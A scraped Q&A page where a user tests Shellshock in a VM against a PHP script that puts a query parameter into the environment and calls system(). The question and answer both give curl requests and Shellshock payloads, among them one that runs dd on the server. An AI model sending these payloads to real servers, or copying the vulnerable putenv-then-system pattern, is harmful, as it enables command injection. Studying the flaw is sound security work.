Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

PHP behavior when interacting with Shell

I am trying to test PHP interaction with bash shell (version 4.2). My bash shell is not patched for shellshock (yes I know how to patch it; I'm testing in a VM; I'm more focused on PHP interaction with the shell).

I have a simple PHP program which takes an argument from a query string, adds it to environment via putenv() and then runs a command using system(). The script is as follows:

<?php

 function getParam() 
 {
     $arg = NULL;   

     if (isset($_GET["arg"]) && !empty($_GET["arg"])) 
     { 
         $arg = $_GET["arg"]; 
     } 
     return $arg; 
 } 

 $arg = getParam(); 

 putenv("ARG=$arg");

 system("set");

?>

The system() as you can see uses the set command to print the shell variables. I first tried using the following:

curl http://localhost/myphp.php?arg=123

In the output, I can see the following line:

ARG=123

In the spirit of shellshock, I then changed my argument as follows:

curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;"

The argument is basically set as:

arg=() { echo hello; };

When I run the script, I don't see ARG in my output for set.

But then I changed the curl request as follows:

curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;%20echo%20PID:%20;%20echo%20%24%24%20;%20echo%20Set:%20;%20set%20"

This time, the argument is set as:

arg=() { echo hello; }; echo PID:; echo $$; echo Set:; set

This time, I still I don't see ARG in output from system(), but I do see additional output because of the argument as:

PID:0

Set:
// Omitted some output
ARG () 
{ 
   echo hello
}

So my question is that, why don't I see the argument ARG in set output via system(), but see it in the set output via the parameter ?

Edit:

Rephrasing the question to make it more clear: In the PHP code, I call system(set) (last line) VS I pass set as part of the query string. Set executed via system() doesn't show presence of ARG in shell variables VS set executed from query string is showing (although PID is output as 0 - so that has to be taken into account to explain this).

Here is the complete output: http://pastebin.com/raw.php?i=WcBXgYAj

If I change system(set) to system(env), I see the output: http://pastebin.com/raw.php?i=q1r6Z3Zi

like image 693
Jake Avatar asked Nov 10 '22 01:11

Jake


1 Answers

Instead of

arg=() { echo hello; };

Try this

() { :;};echo Yes we can...

or this

%28%29%20%7B%20%3A%3B%7D%3Becho%20Yes%20we%20can...

... or maybe something between

You may try to trace something:

(){ :;};dd if=/etc/hostname of=/tmp/testfile-$$-$RANDOM
like image 109
F. Hauri Avatar answered Nov 14 '22 21:11

F. Hauri